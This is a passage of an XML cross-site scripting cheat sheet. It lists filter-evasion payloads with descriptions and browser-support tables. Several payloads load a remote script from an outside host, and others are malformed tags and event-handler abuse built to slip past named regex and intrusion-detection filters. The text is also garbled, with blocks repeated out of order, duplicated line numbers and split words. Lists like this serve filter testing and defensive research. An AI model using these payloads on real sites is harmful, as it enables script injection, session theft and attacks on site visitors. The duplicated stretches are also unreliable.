<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 637 </attack> 638 <attack> 639 <name>Spaces/Meta Chars</name> 640 <code><IMG SRC=" &#14; javascript:alert('XSS');"></code> 641 <desc>Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal).</desc> 642 <label>Embedded Character Attacks</label> 643 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 644 </attack> 645 <attack> 646 <name>Non-Alpha/Non-Digit</name> 647 <code><SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> 648 <desc>Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s"</desc> 649 <label>Embedded Character Attacks</label> 650 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 651 </attack> 652 <attack> 653 <name>Non-Alpha/Non-Digit Part 2</name> 654 <code><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")></code> 655 <desc>Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here.</desc> 656 <label>Embedded Character Attacks</label> 657 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 658 </attack> 659 <attack> 660 <name>No Closing Script Tag</name> 661 <code><SCRIPT SRC=http://ha.ckers.org/xss.js</code> 662 <desc>In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally.</desc> 663 <label>Embedded Character Attacks</label> 664 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 665 </attack> 666 <attack> 667 <name>Protocol resolution in script tags</name> 668 <code><SCRIPT SRC=//ha.ckers.org/.j></code> 669 <desc>This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag.</desc> 670 <label>Embedded Character Attacks</label> 671 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 672 </attack> 673 <attack> 674 <name>Half-Open HTML/JavaScript</name> 675 <code><IMG SRC="javascript:alert('XSS')"</code> 676 676 <desc>Unlike Firefox, the IE rendering engine doesn't add extra data to your page, but it does allow the "javascript:" directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close > tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex: 677 /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ 678 As a side note, this was also effective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag.</desc> 679 <label>Embedded Character Attacks</label> 680 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 681 </attack> 682 <attack> 683 <name>Double open angle brackets</name> 684 <code><IFRAME SRC=http://ha.ckers.org/scriptlet.html <</code> 685 <desc>This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't</desc> 686 <label>Embedded Character Attacks</label> 687 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 688 </attack> 689 <attack> 690 <name>Extraneous Open Brackets</name> 691 <code><<SCRIPT>alert("XSS");//<</SCRIPT></code> 692 <desc>(Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algor ythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error.</desc>693 <label>Embedded Character Attacks</label> 694 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 695 </attack> 696 <attack> 697 <name>Malformed IMG Tags</name> 698 <code><IMG """><SCRIPT>alert("XSS")</SCRIPT>"></code> 699 <desc>Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag.</desc> 700 <label>Embedded Character Attacks</label> 701 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 702 </attack> 703 <attack> 704 <name>No Quotes/Semicolons</name> 677 /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ 678 As a side note, this was also effective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag.</desc> 679 <label>Embedded Character Attacks</label> 680 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 681 </attack> 682 <attack> 683 <name>Double open angle brackets</name> 684 <code><IFRAME SRC=http://ha.ckers.org/scriptlet.html <</code> 685 <desc>This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't</desc> 686 <label>Embedded Character Attacks</label> 687 <browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 688 </attack> 689 <attack> 690 <name>Extraneous Open Brackets</name> 691 <code><<SCRIPT>alert("XSS");//<</SCRIPT></code> 692 <desc>(Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorithm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to suppress a JavaScript error.</desc> 693 <label>Embedded Character Attacks</label> 694 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 695 </attack> 696 <attack> 697 <name>Malformed IMG Tags</name> 698 <code><IMG """><SCRIPT>alert("XSS")</SCRIPT>"></code> 699 <desc>Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag.</desc> 700 <label>Embedded Character Attacks</label> 701 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 702 </attack> 703 <attack> 704 <name>No Quotes/Semicolons</name> 705 705 <code><SCRIPT>a=/XSS/ 706 alert(a.source)</SCRIPT></code> 707 <desc>No single quotes or double quotes or semicolons.</desc> 708 <label>Embedded Character Attacks</label> 709 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 710 </attack> 711 <attack> 712 <name>Event Handlers List 1</name> 713 <code>See Below</code> 706 alert(a.source)</SCRIPT></code> 707 <desc>No single quotes or double quotes or semicolons.</desc> 708 <label>Embedded Character Attacks</label> 709 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 710 </attack> 711 <attack> 712 <name>Event Handlers List 1</name> 713 <code>See Below</code> 714 714 <desc>Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (http://www.secaron.de/) for the HTML+TIME updates: 715 715 716 716 -FSCommand() (execute from within an embedded Flash object) 717 717 718 718 -onAbort() (when user aborts the loading of an image) 719 719 720 720 -onActivate() (when object is set as the active element) 721 721 722 722 -onAfterPrint() (activates after user prints or previews print job) 723 723 724 724 -onAfterUpdate() (activates on data object after updating data in the source object) 725 725 726 726 -onBeforeActivate() (fires before the object is set as the active element) 727 727 728 728 -onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard (use the execCommand("Copy") function) 729 729 730 730 -onBeforeCut() (attacker executes the attack string right before a selection is cut) 731 731 732 732 -onBeforeDeactivate() (fires right after the activeElement is changed from the current object) 733 733 734 734 -onBeforeEditFocus() (fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected) 735 735 736 736 -onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function) 737 737 738 738 -onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function) 739 739 740 740 -onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent) 741 741 742 742 -onBegin() (fires immediately when the element's timeline begins) 743 743 744 744 -onBlur() (in the case where another popup is loaded and window loses focus) 745 745 746 746 -onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window) 747 747 748 748 -onCellChange() (fires when data changes in the data provider) 749 749 750 750 -onChange() (fires when select, text, or TEXTAREA field loses focus and its value has been modified) 751 751 752 752 -onClick() (fires when someone clicks on a form) 753 753 754 754 -onContextMenu() (user would need to right click on attack area) 755 755 756 756 -onControlSelect() (fires when the user is about to make a control selection of the object) 757 757 758 758 -onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command) 759 759 760 760 -onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command) 761 762 -onDataAvail ible() (user would need to change data in an element, or attacker could perform the same function)763 761 762 -onDataAvailable() (user would need to change data in an element, or attacker could perform the same function) 763 764 764 -onDataSetChanged() (fires when the data set exposed by a data source object changes) 765 765 766 766 -onDataSetComplete() (fires to indicate that all data is available from the data source object) 767 767 768 768 -onDblClick() (fires when user double-clicks a form element or a link) 769 769 770 770 -onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document) 771 771 772 772 -onDrag() (requires that the user drags an object) 773 773 774 774 -onDragEnd() (requires that the user drags an object) 775 775 776 776 -onDragLeave() (requires that the user drags an object off a valid location) 777 777 778 778 -onDragEnter() (requires that the user drags an object into a valid location) 779 779 780 780 -onDragOver() (requires that the user drags an object into a valid location) 781 781 782 782 -onDragDrop() (user drops an object (e.g. file) onto the browser window) 783 783 784 784 -onDrop() (fires when user drops an object (e.g. file) onto the browser window) 785 </desc> 786 <label>Event Handlers</label> 787 <browser>Browser support:</browser> 788 </attack> 789 <attack> 790 <name>Event Handlers List 2</name> 791 <code>See Below</code> 785 </desc> 786 <label>Event Handlers</label> 787 <browser>Browser support:</browser> 788 </attack> 789 <attack> 790 <name>Event Handlers List 2</name> 791 <code>See Below</code> 792 792 <desc>-onEnd() (fires when the timeline ends. This can be exploited, like most of the HTML+TIME event handlers by doing something like <P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">) 793 793 794 794 -onError() (loading of a document or image causes an error) 795 795 796 796 -onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object) 797 797 798 798 -onFilterChange() (fires when a visual filter completes state change) 799 799 800 800 -onFinish() (attacker could create the exploit when marquee is finished looping) 801 801 802 802 -onFocus() (attacker executes the attack string when the window gets focus) 803 803 804 804 -onFocusIn() (attacker executes the attack string when window gets focus) 805 805 806 806 -onFocusOut() (attacker executes the attack string when window loses focus) 807 807 808 808 -onHelp() (attacker executes the attack string when users hits F1 while the window is in focus) 809 809 810 810 -onKeyDown() (fires when user depresses a key) 811 811 812 812 -onKeyPress() (fires when user presses or holds down a key) 813 813 814 814 -onKeyUp() (fires when user releases a key) 815 815 816 816 -onLayoutComplete() (user would have to print or print preview) 817 817 818 818 -onLoad() (attacker executes the attack string after the window loads) 819 819 820 820 -onLoseCapture() (can be exploited by the releaseCapture() method) 821 821 822 822 -onMediaComplete() (when a streaming media file is used, this event could fire before the file starts playing) 823 823 824 824 -onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem) 825 825 826 826 -onMouseDown() (the attacker would need to get the user to click on an image) 827 827 828 828 -onMouseEnter() (fires when cursor moves over an object or area) 829 829 830 830 -onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again) 831 831 832 832 -onMouseMove() (the attacker would need to get the user to mouse over an image or table) 833 833 834 834 -onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again) 835 835 836 836 -onMouseOver() (fires when cursor moves over an object or area) 837 837 838 838 -onMouseUp() (the attacker would need to get the user to click on an image) 839 839 840 840 -onMouseWheel() (the attacker would need to get the user to use their mouse wheel) 841 841 842 842 -onMove() (user or attacker would move the page) 843 843 844 844 -onMoveEnd() (user or attacker would move the page) 845 845 846 846 -onMoveStart() (user or attacker would move the page) 847 847 848 848 -onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline) 849 849 850 850 -onPaste() (user would need to paste or attacker could use the execCommand("Paste") function) 851 851 852 852 -onPause() (fires on every element that is active when the timeline pauses, including the body element) 853 853 854 854 -onProgress() (attacker would use this as a flash movie was loading) 855 855 856 856 -onPropertyChange() (user or attacker would need to change an element property) 857 857 858 858 -onReadyStateChange() (user or attacker would need to change an element property) 859 </desc> 860 <label>Event Handlers</label> 861 <browser>Browser support:</browser> 862 </attack> 863 <attack> 864 <name>Event Handlers List 3</name> 865 <code>See Below</code> 859 </desc> 860 <label>Event Handlers</label> 861 <browser>Browser support:</browser> 862 </attack> 863 <attack> 864 <name>Event Handlers List 3</name> 865 <code>See Below</code> 866 866 <desc>-onRepeat() (fires once for each repetition of the timeline, excluding the first full cycle) 867 867 868 868 -onReset() (fires when user or attacker resets a form) 869 869 870 870 -onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) 871 871 872 872 -onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) 873 873 874 874 -onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) 875 875 876 876 -onResume() (fires on every element that becomes active when the timeline resumes, including the body element) 877 877 878 878 -onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward) 879 879 880 880 -onRowEnter() (user or attacker would need to change a row in a data source) 881 881 882 882 -onRowExit() (user or attacker would need to change a row in a data source) 883 883 884 884 -onRowsDelete() (user or attacker would need to delete a row in a data source) 885 885 886 886 -onRowsInserted() (user or attacker would need to insert a row in a data source) 887 887 888 888 -onScroll() (user would need to scroll, or attacker could use the scrollBy() function) 889 889 890 890 -onSeek() (fires when the timeline is set to play in any direction other than forward) 891 891 892 892 -onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) 893 893 894 894 -onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) 895 895 896 896 -onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) 897 897 898 898 -onStart() (fires at the beginning of each marquee loop) 899 899 900 900 -onStop() (user would need to press the stop button or leave the webpage) 901 901 902 902 -onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire) 903 903 904 904 -onSubmit() (requires attacker or user submits a form) 905 905 906 906 -onTimeError() (fires when user or attacker sets a time property, such as "dur", to an invalid value) 907 907 908 908 -onTrackChange() (fires when user or attacker changes track in a playList) 909 909 910 910 -onUnload() (fires when the user clicks any link or presses the back button or attacker forces a click) 911 911 912 912 -onURLFlip() (fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file) 913 913 914 914 -seekSegmentTime() (locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.) 915 </desc> 916 <label>Event Handlers</label> 917 <browser>Browser support:</browser> 918 </attack> 919 <attack> 920 <name>Evade Regex Filter 1</name> 921 <code><SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> 915 </desc> 916 <label>Event Handlers</label> 917 <browser>Browser support:</browser> 918 </attack> 919 <attack> 920 <name>Evade Regex Filter 1</name> 921 <code><SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> 922 922 <desc>For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of the following regex filter: 923 /<script[^>]+src/i</desc> 924 <label>XSS w/HTML Quote Encapsulation</label> 925 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 926 </attack> 927 <attack> 928 <name>Evade Regex Filter 2</name> 929 <code><SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> 923 /<script[^>]+src/i</desc> 924 <label>XSS w/HTML Quote Encapsulation</label> 925 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 926 </attack> 927 <attack> 928 <name>Evade Regex Filter 2</name> 929 <code><SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> 930 930 <desc>For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter: 931 931 /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i 932 933 (this is an important one, because I've seen this regex in the wild)</desc> 934 <label>XSS w/HTML Quote Encapsulation</label> 935 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 936 </attack> 937 <attack> 938 <name>Evade Regex Filter 3</name> 939 <code><SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> 932 933 (this is an important one, because I've seen this regex in the wild)</desc> 934 <label>XSS w/HTML Quote Encapsulation</label> 935 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 936 </attack> 937 <attack> 938 <name>Evade Regex Filter 3</name> 939 <code><SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> 940 940 <desc>Another XSS to evade this regex filter: 941 /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i</desc> 942 <label>XSS w/HTML Quote Encapsulation</label> 943 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 944 </attack> 945 <attack> 946 <name>Evade Regex Filter 4</name> 947 <code><SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> 941 /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i</desc> 942 <label>XSS w/HTML Quote Encapsulation</label> 943 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 944 </attack> 945 <attack> 946 <name>Evade Regex Filter 4</name> 947 <code><SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> 948 948 <desc>Yet another XSS to evade the same filter: 949 /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i 950 The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags)</desc> 951 <label>XSS w/HTML Quote Encapsulation</label> 952 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 953 </attack> 954 <attack> 955 <name>Evade Regex Filter 5</name> 956 <code><SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> 949 /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i 950 The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags)</desc> 951 <label>XSS w/HTML Quote Encapsulation</label> 952 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 953 </attack> 954 <attack> 955 <name>Evade Regex Filter 5</name> 956 <code><SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> 957 957 <desc>And one last XSS attack (using grave accents) to evade this regex: 958 /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i</desc> 959 <label>XSS w/HTML Quote Encapsulation</label> 960 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 961 </attack> 962 <attack> 963 <name>Filter Evasion 1</name> 964 <code><SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> 965 <desc>This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content.</desc> 966 <label>XSS w/HTML Quote Encapsulation</label> 967 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 968 </attack> 969 <attack> 970 <name>Filter Evasion 2</name> 971 <code><SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> 972 <desc>Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly.</desc> 973 <label>XSS w/HTML Quote Encapsulation</label> 974 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 958 /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i</desc> 959 <label>XSS w/HTML Quote Encapsulation</label> 960 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser> 961 </attack> 962 <attack> 963 <name>Filter Evasion 1</name> 964 <code><SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> 965 <desc>This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content.</desc> 966 <label>XSS w/HTML Quote Encapsulation</label> 967 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 968 </attack> 969 <attack> 970 <name>Filter Evasion 2</name> 971 <code><SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code> 972 <desc>Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly.</desc> 973 <label>XSS w/HTML Quote Encapsulation</label> 974 <browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser> 975 975 </attack> 976 976 </xss>
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